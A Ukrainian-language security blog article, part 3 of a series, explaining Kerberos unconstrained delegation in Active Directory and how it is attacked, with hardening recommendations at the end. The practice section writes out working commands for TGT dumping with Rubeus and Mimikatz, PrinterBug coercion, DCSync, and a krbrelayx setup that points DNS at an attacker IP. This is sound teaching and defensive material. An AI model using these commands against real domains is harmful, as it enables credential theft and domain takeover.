Необмежене делегування в Kerberos, як працює механізм і як захистити інфраструктуру (Частина 3)

14.01.2025 3 хвилин Автор: Lady Liberty

Прочитавши цю статтю, ви дізнаєтесь, як працює механізм делегування в Kerberos і яку роль він відіграє в інфраструктурі Active Directory. Окрім основних принципів, у тексті розкрито відмінності між різними типами делегування: необмеженим, обмеженим і делегуванням на основі ресурсів. Особливу увагу приділено безпековим ризикам, пов’язаним із використанням необмеженого делегування.

  • Дисклеймер: Ми усвідомлюємо, що на деяких фото або в матеріалах можуть зустрічатися написи російською мовою. Проте хіба це не чудово — використовувати їхню ж мову проти них?

Раніше вже було розглянуто пристрій протоколу Kerberos та деякі класичні атаки з його використанням у Active Directory. Тепер розглянемо ще один вид атак на Active Directory, пов’язаний із необмеженим делегуванням за допомогою Kerberos.

Загальна теорія

Делегування — це механізм, який дозволяє одному сервісу отримувати доступ до іншого від імені конкретного користувача.

Це визначення може здаватися складним для розуміння, тому розгляньмо типовий приклад, де використання делегування є необхідним. Уявімо, що користувач успішно пройшов аутентифікацію через протокол Kerberos на внутрішньому веб-порталі, який забезпечує доступ до бази даних, розміщеної на окремому сервері. Коли користувач через веб-портал хоче завантажити певні дані, виникає ситуація, відома як «проблема подвійного стрибка Kerberos». Це пов’язано з тим, що користувач має отримати доступ лише до тих даних, до яких йому надано відповідні права.

Побутовий приклад: коли Ви через портал Держпослуг перевіряєте штрафи в ДІБДР, Ви бачите тільки свої штрафи, а не штрафи інших людей.

Проблема полягає в тому, що користувач авторизований виключно на веб-сервері та нічого не знає про існування сервера бази даних. Раніше наданий квиток був призначений лише для доступу до конкретного сервісу.

Делегування дозволяє вирішити цю проблему, надаючи веб-серверу можливість звертатися до сервера бази даних від імені вже автентифікованого користувача.

Перш ніж продовжити обговорення механізму делегування, слід зупинитися на одному важливому моменті, що раніше не мав такого значення, але тепер стає критичним.

Облікові записи Active Directory поділяються на кілька типів, зокрема:

  • Облікові записи користувачів – створюються для «живих» людей або для виконання службових завдань, таких як резервне копіювання.

  • Машинні облікові записи – генеруються автоматично під час приєднання комп’ютера до домену. Вони відрізняються наявністю знака $ у кінці імені. Якщо подивитися на структуру Active Directory, стає зрозуміло, що машинний обліковий запис є підкласом звичайного облікового запису. Таким чином, комп’ютери теж є користувачами, але мають свою специфіку.

Сервіс Active Directory – це процес, що виконується в контексті облікового запису власника сервісу на певному комп’ютері (сервері). Зазвичай власником є машинний обліковий запис комп’ютера, де запущено сервіс, проте інколи власником виступає обліковий запис користувача. Важливо зазначити, що процес сервісу використовує права та привілеї власника.

Також слід звернути увагу на те, що облікові записи мають атрибут servicePrincipalName, де вказуються імена сервісів (SPN), власниками яких є відповідні облікові записи.

Приклад вмісту атрибуту servicePrincipalName

Тут проявляється одна з ключових відмінностей між обліковими записами користувачів і машинними обліковими записами. Справа в тому, що обліковий запис користувача не може самостійно змінювати значення свого атрибуту servicePrincipalName. Для внесення змін до цього атрибуту потрібен дозвіл Validated-SPN на відповідний обліковий запис. Такий дозвіл, за замовчанням, надається лише адміністративним обліковим записам, а також машинним обліковим записам стосовно власного атрибуту. Тобто машинні облікові записи можуть змінювати свій servicePrincipalName, тоді як користувачі — ні.

Ще одним важливим атрибутом облікового запису є UserAccountControl (не варто плутати з механізмом контролю облікових записів). Цей атрибут містить налаштування облікового запису у вигляді бітової маски, що зберігається як числове значення. Для того щоб змінити цей атрибут, необхідно мати привілей SeEnableDelegation, який, за замовчанням, доступний лише обліковим записам із правами адміністратора домену.

Історія та види делегування

Можна виділити такі види делегування в Active Directory:

  • Необмежена (Windows 2000 Server)

  • Обмежене (Windows 2003 Server)

    • з використанням тільки Kerberos (S4U2Proxy)
    • з використанням будь-якого протоколу (S4U2Self + S4U2Proxy)
  • Делегування на основі ресурсів (Windows Server 2012 | S4U2Self + S4U2Proxy)

S4U2Self та S4U2Proxy – розширення протоколу Kerberos, спеціально впроваджені для підтримки можливості обмеженого делегування. Докладніше вказані розширення будуть розглянуті в наступних статтях циклу.

Влаштування необмеженого делегування

Спочатку в Windows Server 2000 з’явилося і було доступне лише необмежену делегацію.

Сервіс, що має право на необмежену делегування, може звернутися до будь-якого іншого сервісу від імені практично будь-якого користувача.

Чому це практично важливо? Справа в тому, що обліковий запис користувача може встановити прапор NOT_DELEGATED у своєму атрибуті UserAccountControl, що забороняє його делегування. За замовчанням цей прапор вимкнено, і він активується лише у разі, коли вибрано опцію «Account is sensitive and cannot be delegated» або якщо користувача додано до групи «Protected Users».

Варто зазначити, що члени групи «Protected Users» мають додаткові обмеження. Вони не можуть аутентифікуватися через NTLM, використовувати DES або RC4 шифрування в Kerberos, оновлювати свої квитки TGT після 4 годин дії та кешувати облікові дані для входу в домен.

Для того щоб обліковий запис отримав право на необмежене делегування, необхідно встановити в його атрибуті UserAccountControl прапор TRUSTED_FOR_DELEGATION, що відповідає цілочисельному значенню 524288. За замовчанням цей прапор активується лише для машинних облікових записів контролерів домену.

Приклад: обліковий запис “SQLSvc” містить необмежену делегацію

Для зміни значення прапора необхідна наявність привілею SeEnableDelegationPrivilege , який спочатку має лише облікові записи з правами рівня адміністратора домену.

Тепер розглянемо, як улаштований процес необмеженого делегування.

Загальна схема необмеженого делегування
Приклад мережевого трафіку за необмеженого делегування. Взято з attl4s.github.io

Розбір кроків:

  1. Мається на увазі, що обліковий запис User не є чутливим до делегування і не є групою захищених користувачів (прапор NOT_DELEGATED не активний).

  2. Спочатку User, як було розглянуто раніше, отримує TGT в результаті обміну KRB AS REQ і KRB AS REP повідомленнями.

  3. Далі User запитує TGS-квиток доступу до Сервісу А (KRB TGS REQ).

  4. KDC бачить, що Сервіс А має прапор “TRUSTED_FOR_DELEGATION”, що дозволяє необмежену делегацію, і тому у відповідь User KDC відправляє TGS-квиток з прапором ok-as-delegate.

  5. Отримавши TGS-квиток, User виявляє прапор ok-as-delegate і розуміє, що йому необхідно передати свої облікові дані Сервісу А. Для цього User знову звертається до KDC з проханням видати йому TGT, що перенаправляється (forwarded).

  6. KDC виконує необхідні перевірки та надсилає User TGT з правом передачі.

  7. User звертається до Сервісу А із трохи розширеним KRB AP REQ повідомленням. Тепер в автентифікаторі міститься не тільки мітка часу і принципал клієнта, а й TGT, що перенаправляється (forwarded), разом із сесійним ключем для спілкування з KDC.

  8. Сервіс А витягує сесійний ключ для спілкування з User з TGS-квитка, розшифровує автентифікатор, виконує перевірки та зберігає Forwarded TGT для User разом із відповідним вказаним сесійним ключем.

  9. З використанням отриманих автентифікаційних даних Сервіс А отримує TGS-квиток до Сервісу Б від імені User.

Загальна схема атаки при необмеженому делегуванні

Перш ніж розпочати конкретні реалізації атак, розглянемо загальний принцип та ідею їх проведення.

  • Умова проведення атаки: володіння обліковим записом, що має необмеженим делегуванням.

  • Результат успішної атаки: захоплення облікових записів, у тому числі можливо адміністративних, що пройшли автентифікацію до сервісу з налаштованим необмеженим делегуванням.

Спочатку атакуючий має обліковий запис з необмеженим делегуванням. Обліковий запис має сервіс, а сервіс передбачає роботу в рамках процесу операційної системи. Зазначена система зберігає Forwarded TGT доменних облікових записів, що пройшли автентифікацію до сервісу. Атака полягає у видобутку Forwarded TGT для наступної атаки Pass-the-ticket. Важливо розуміти, що здобутий Forwarded TGT можна використовувати доступу до будь-якого сервісу від імені відповідного користувача, оскільки делегування необмежене.

Загальна схема атаки з використанням необмеженого делегування

Практика

Облікові записи, настроєні для делегування, є гарними цілями для проведення атак, оскільки вказані облікові записи часто:

  • активні

  • нескладно виявляються

  • забуваються адміністраторами

  • схильні до атаки kerberoasting

  • доступні в рамках служби операційної системи

Перейдемо до реалізації атак із використанням необмеженого делегування на практиці. Розглянемо основні етапи атак, і навіть різні варіанти проведення.

Пошук облікових записів із необмеженим делегуванням

Незважаючи на те, що для проведення атак вже передбачається наявність облікового запису з необмеженим делегуванням, розгляд способів отримання такого облікового запису виходить за межі цієї статті. Проте буде корисним зупинитися на попередньому етапі — зборі інформації про облікові записи. Існує велика кількість інструментів, які дозволяють виявити облікові записи з увімкненим необмеженим делегуванням. Перший спосіб — використання модуля PowerShell ADSI для роботи з Active Directory.

Приклад пошуку серед усіх облікових записів:

([adsisearcher]'(userAccountControl:1.2.840.113556.1.4.803:=524288)').FindAll() 

Варіант 2 – за допомогою FindDelegation, що входить до Impacket

Пошук серед усіх облікових записів

findDelegation.py -dc-ip $DC_IP $Domain_fqdn/$Username:$Password

Варіант 3 – PowerView

Пошук серед облікових записів класу комп’ютер

Get-DomainComputer -Unconstrained

Пошук серед облікових записів користувача. Примітка: існує аналог PowerView для Linux

Варіант 4 – Bloodhound

Пошук серед облікових записів класу комп’ютера:

match (c:Computer {unconstraineddelegation:true}) return c.name 

Пошук серед облікових записів користувача:

match (u:User {unconstraineddelegation:true}) return u.name

Варіант 5 – Ldapdomaindump після Relay

Всі наведені вище способи вимагали наявності прав користувача, але також можна провести Relay атаку за протоколом LDAP на контролер домену з подальшим використанням Ldapdomaindump:

grep TRUSTED_FOR_DELEGATION domain_computers.grep
grep TRUSTED_FOR_DELEGATION domain_users.grep

Атака “Вилучення з пам’яті сервера”

Умова проведення атаки: доступ з правами локального адміністратора до сервера з налаштованим необмеженим делегуванням.

Деякі варіанти виконання умови:

  • Внаслідок експлуатації критичної вразливості (отримуємо адміністративний доступ до системи)

  • Вийняти NT-хеш машинного облікового запису з нещодавньої резервної копії (паролі автоматично змінюються кожні 30 днів)

  • Через війну зниження версії протоколу NTLMv2 до NTLMv1 з наступним перебором пароля до машинного облікового запису по райдужним таблицям

Результат успішної атаки: доступ до облікового запису, який має права рівня адміністратора домену.

Отримавши адміністративний доступ до сервера з сервісом, що володіє необмеженим делегуванням, атакуючий може отримати TGT облікових записів, що проходили автентифікацію до вказаного сервісу, з пам’яті lsass.exe сервера.

Здійснити вивантаження можна за допомогою Rubeus:

Rubeus.exe dump /service:krbtgt /nowrap

Або за допомогою Mimikatz:

mimikatz # sekurlsa::tickets /export

Отримані TGT можна використовувати для атаки Pass-the-Ticket.

PrinterBug (SpoolService / MS-RPRN RPC)

Але що робити, якщо серед облікових записів, які використовуються для автентифікації до сервісу, є лише звичайні непривілейовані користувачі домену? У такому випадку можна скористатися ще одним видом атак — «примусова автентифікація». Основна ідея цієї техніки полягає в тому, щоб змусити обліковий запис пройти автентифікацію до сервісу, який контролює зловмисник.

На даний момент існує декілька реалізацій атак, що ґрунтуються на примусовій автентифікації. Більше того, постійно з’являються нові методи, але розглянути всі можливі варіанти в рамках однієї статті неможливо. Опис різноманітних реалізацій таких атак може бути темою окремого матеріалу або навіть серії статей. Проте доцільно виділити деякі найбільш популярні підходи.

Будь-який обліковий запис, який пройшов автентифікацію в домені, може віддалено підключитися до служби друку на контролері домену та надіслати запит на оновлення черги друку з подальшим повідомленням підконтрольної системи. У результаті можна змусити комп’ютер із увімкненим сервісом друку пройти автентифікацію до вказаного сервісу.

Слід зазначити, що за замовчанням служба друку на контролері домену активна

Перевірити наявність сервісу друку можна за допомогою наступної команди:

ls \\dc01\pipe\spoolss

Запуск відстеження прийнятих квитків із фільтрацією за конкретним відправником:

Rubeus.exe monitor /interval:5 /filteruser:DC$

Провокування автентифікації за допомогою PrinterBug:

SpoolSample.exe $DC $Host

Конвертування отриманого base64-рядка в квиток формату kirbi:

[IO.File]::WriteAllBytes("C:\fullpathtoticket.kirbi", [Convert]::FromBase64String("aa…"))

Конвертування отриманого у форматі kirbi квитка у ccache для подальшого використання у Linux:

ticketConverter.py $ticket.kirbi $ticket.ccache

Додавання квитка в середу оточення:

export KRB5CCNAME=/path/to/ticket.ccache

Отриманий TGT машинного облікового запису контролера домену можна використовувати для отримання доступу до контролера домену або виконання атаки DCSync:

secretsdump.py -k -no-pass $Domain_FQDN/$Username@$DC_FQDN

Стаття із прикладом реалізації атаки.

Деякі способи примусової автентифікації

Ключові слова для самостійного вивчення:

  • PetitPotam (EfsRpcOpenFileRaw / MS-EFSRPC)

  • PrivExchange

  • ShadowCoerce

  • DFSCoerce

  • WebDAV

Корисний програмний засіб

Атака з використанням облікового запису без сервера

Умова для атаки: пароль або ключ Kerberos облікового запису, який має право на необмежену делегацію.

Деякі варіанти виконання умови:

  • Пароль до облікового запису користувача може бути отриманий в результаті атаки Kerberoasting або підібраний оффлайн в результаті перехоплення Net-NTLMv2 хеша

  • NT хеш пароля до машинного облікового запису може бути вилучений із бази SAM за наявності прав локального адміністратора

  • Паролі (NT хеші) можуть бути вилучені з пам’яті якогось сервера або робочої станції

Результат успішної атаки: доступ до облікового запису, який має права рівня адміністратора домену.

Спочатку може бути незрозуміло, у чому різниця між цією атакою та попередньою. Раніше припускалося, що атакуючий має доступ до сервера із запущеним сервісом, здатним приймати запити користувачів. У цьому випадку атакуючий володіє лише «безтілесним» обліковим записом, тобто у нього немає доступу до сервера, де можна приймати запити на автентифікацію або отримувати квитки TGT. Особливо це важливо, якщо мова йде про обліковий запис користувача.

Рішення було запропоноване в статті «Relaying Kerberos – Having fun with unconstrained delegation» авторства Dirk-jan Mollema. Ідея полягала в тому, щоб змусити облікові записи пройти автентифікацію до підконтрольної системи, яка не є частиною домену, із сервісом, що діє в контексті скомпрометованого облікового запису з увімкненим необмеженим делегуванням.

Розглянемо покроково, як налаштувати все для реалізації атаки.

Перший компонент — зловмисний сервіс. Для того щоб сервіс зміг коректно функціонувати та вилучити Forwarded TGT із отриманого KRB_AP_REQ, необхідно знати ключ Kerberos облікового запису, під яким працює сервіс. Як формується ключ, уже було розглянуто раніше. Залежно від класу облікового запису використовуються різні алгоритми: для машинних облікових записів потрібен AES256-ключ, для облікових записів користувачів — NT-хеш (RC4). В обох випадках достатньо знати пароль і сіль.

Наступний етап — змушення клієнта звернутися до зловмисного сервісу для передачі Forwarded TGT. Існує декілька методів реалізації цього сценарію, серед яких можна виділити:

  1. Атаки на перехоплення мережевого трафіку, такі як WPAD, MITM6, LLMNR/NBNS, ARP-spoofing або отруєння DNS-записів.

  2. Інші методи, як-от пряме заманювання клієнта через соціальну інженерію.

  3. Спосіб, який буде розглянуто далі, є найкращим.

Сервіс повинен мати ім’я, тобто SPN. У SPN є поле «host», що містить доменне ім’я хоста, на якому працює сервіс. Зіставлення доменного імені з IP-адресою виконує DNS-сервер. Тому атакуючий має налаштувати так, щоб під час звернення до доменного імені хоста, вказаного у SPN сервісу, клієнт отримував IP-адресу зловмисної системи. Як змусити клієнта звернутися до цього доменного імені, вже розглядалося в попередній версії атаки. Тепер розглянемо, як створити SPN із полем «host», для якого DNS-запис міститиме IP-адресу зловмисника.

У випадку машинних облікових записів усе значно простіше, оскільки вони можуть самостійно додавати собі SPN. Більше того, за замовчанням кожен обліковий запис у домені може створювати нові DNS-записи.

Тепер об’єднаємо всі елементи для практичної реалізації атаки. Перш за все, визначаємо спосіб примусової автентифікації. Важливо пам’ятати, що ця техніка працює лише для певних service-name. Припустімо, що є два варіанти: PrinterBug та PrivExchange. Якщо вибираємо PrinterBug, оскільки автентифікація відбувається через SMB, створюємо сервіс із service-name «HOST» (не плутати з полем SPN). Якщо вибираємо PrivExchange, то вказуємо service-name «HTTP».

addspn.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -s 'service-name/attacker.DOMAIN_FQDN' 'DomainController' --additional

У створеної SPN додаємо DNS-запис для HOST із зазначенням IP-адреси системи атакуючого:

dnstool.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -r 'attacker.DOMAIN_FQDN' -d 'attacker_IP' --action add 'DomainController'

Запускаємо на підконтрольній системі зловмисний сервіс:

krbrelayx.py --krbsalt 'DOMAINusername' --krbpass 'password'

Здійснюємо примусову автентифікацію, наприклад:

SpoolSample.exe $DC $Host

Для облікових записів користувача ситуація складніша. Зазначені облікові записи не можуть редагувати свої SPN. Можливі варіанти розв’язання:

  • Перевірити наявні в SPN послуги щодо наявності host з відсутніми DNS записами. Зробити це можна за допомогою звичайного nslookup. Якщо зазначені записи присутні, тоді для них можна самостійно створити DNS з потрібною IP-адресою.

  • Добути обліковий запис, який має відповідні права на додавання SPN щодо наявного облікового запису з необмеженим делегуванням.

Далі все відбувається аналогічно випадку з машинним обліковим записом.

Розглянутий спосіб проведення атаки також примітний тим, що вимагає віддаленого запуску коду на сторонньому сервері. Таким чином, немає необхідності обходити засоби захисту, що є на вказаному сервері.

Стаття із прикладом реалізації атаки.

Загальна схема варіантів проведення атак

Дослідник Charlie Bromberg склав наступну корисну схему, що узагальнює розглянуті варіанти атак:

Загальна схема з варіантами атак при необмеженому делегуванні

Рекомендації

  • Виконайте повну інвентаризацію домену, щоб визначити облікові записи з увімкненим необмеженим делегуванням. Зведіть до мінімуму їх використання, перейшовши на обмежене делегування. Якщо перехід неможливий, посиліть захист серверів із такими сервісами, оскільки їх компрометація може загрожувати всій доменній інфраструктурі.

  • Додайте всі критично важливі облікові записи до групи Protected Users або увімкніть для них параметр «Account is sensitive and cannot be delegated» у налаштуваннях облікових записів.

  • Обмежте можливість додавання нових облікових записів до домену для непривілейованих користувачів, встановивши для них значення атрибута ms-DS-MachineAccountQuota рівним нулю.

  • Зменшіть ризик атак, спрямованих на примусову автентифікацію, шляхом вимкнення непотрібної служби друку на контролерах домену.

  • Регулярно встановлюйте останні оновлення безпеки, щоб закрити відомі вразливості.

  • Мінімізуйте можливості мережевої взаємодії, створивши додаткові обмеження на рівні мережі.

  • Для сервісів рекомендується використовувати спеціальні виділені облікові записи користувачів. Забезпечте, щоб паролі цих облікових записів були складними та регулярно змінювалися.

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.